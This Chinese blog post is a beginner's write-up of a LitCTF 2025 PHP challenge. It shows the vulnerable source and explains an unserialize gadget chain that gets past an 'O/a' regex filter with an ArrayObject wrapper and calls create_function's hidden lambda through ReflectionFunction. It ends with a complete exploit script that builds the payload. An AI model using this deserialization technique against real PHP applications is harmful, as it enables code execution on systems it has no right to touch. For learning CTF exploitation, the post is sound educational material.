对2025Litctf web题君の名は赛后深思

 <?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
    private $musubi;
    private $magic;
    public function __unserialize(array $data)
    {
        $this->musubi = $data['musubi'];
        $this->magic = $data['magic'];
        return ($this->musubi)();
    }
    public function __call($func,$args){
        (new $args[0]($args[1]))->{$this->magic}();
    }
}

class Mitsuha
{
    private $memory;
    private $thread;
    public function __invoke()
    {
        return $this->memory.$this->thread;
    }
}

class KatawareDoki
{
    private $soul;
    private $kuchikamizake;
    private $name;

    public function __toString()
    {
        ($this->soul)->flag($this->kuchikamizake,$this->name);
        return "call error!no flag!";
    }
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
    unserialize($Litctf2025);
}else{
    echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
} 

主要利用点就在于create_function("",'dir(/readflag);');,这个会生成一个匿名函数,我们可以利用这个匿名函数

第一关是通过ArrayObject()这个类去绕过,这个考点ctfshow上有一个类似的,但是我忘了是哪道题了

<?php
class ctfshow{
    public $ctfshow = 'whoami';
}
$b= new ctfshow();
$a= new ArrayObject($b);
echo serialize($a);
?>

参照以上exp可以实现绕过,在php低版本中,O或a的冒号后的数字前可以加一个+来进行绕过

比如:

O:7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}
改成:

O:+7:"ctfshow":1:{s:7:"ctfshow";s:6:"whoami";}

但是这道题php版本比较高

create_function()需要使用ReflectionFunction::invoke的方法来实现,这个感觉像调用无参的方法比如phpinfo(),具体没有深思。

我们来讲一下create_function这个函数,这个函数每次生成的函数名都是lambda_%0d,这里的%0d是一个数字,开始是1,每次执行一次就加一,可以用以下代码去验证

<?php
$func = create_function("","echo \"1+1\";");
var_dump($func); // 输出类似:string(8) "lambda_1"
$b="\00lambda_2";
$a = new ReflectionFunction($b); 
$A = $a->invoke(); 
echo $A; 
?>

image

image

用bp爆破,发现每500次一次循环,为什么很多人会认为是随机的,我想是因为bp默认是10个一起发的

image

所以bp测试的时候要设置Maximum concurrent requests为1,如上图

create_function可以参考文章:PHP代码审计之create_function()函数 - My_Dreams - 博客园

之后再讲ReflectionFunction这个函数,这个函数有一个invoke的方法,传入的参数列表,它接受可变数量的传递给函数的参数与call_user_func()非常相似

<?php
$a = new ReflectionFunction('phpinfo'); 
$A = $a->invoke(); 
echo $A; 
?>

可以invoke方法调用无参的函数如phpinfo();

image

<?php
function Company($a,$b) { 
    echo $a,$b;
  } 
$a = new ReflectionFunction('Company'); 
$A = $a->invoke(2,3); 
echo $A; 
?>

也可以调用有参的函数

image

题目exp

<?php
class Taki
{
  public $musubi;
  public $magic;
}
class Mitsuha
{
  public $memory;
  public $thread;
}
class KatawareDoki
{
  public $soul;
  public $kuchikamizake;
  public $name;
}
$a=new Taki();
$b=new Mitsuha();
$c=new KatawareDoki();
$d=new Taki();
$f=new Arrayobject($a);
$a->musubi=$b;
$b->memory=$c;
$c->kuchikamizake="ReflectionFunction";
$c->name="\00lambda_50";
$c->soul=$d;
$d->musubi='time';
$d->magic="invoke";
$payload=serialize($f);
$payload=str_replace("\00","%00",$payload);
echo $payload;
?>

本人第一次写博客,加上也是一个小白,欢迎各位大佬来指导

posted @ 2025-05-27 23:36  FeN9  阅读(51)  评论(0)    收藏  举报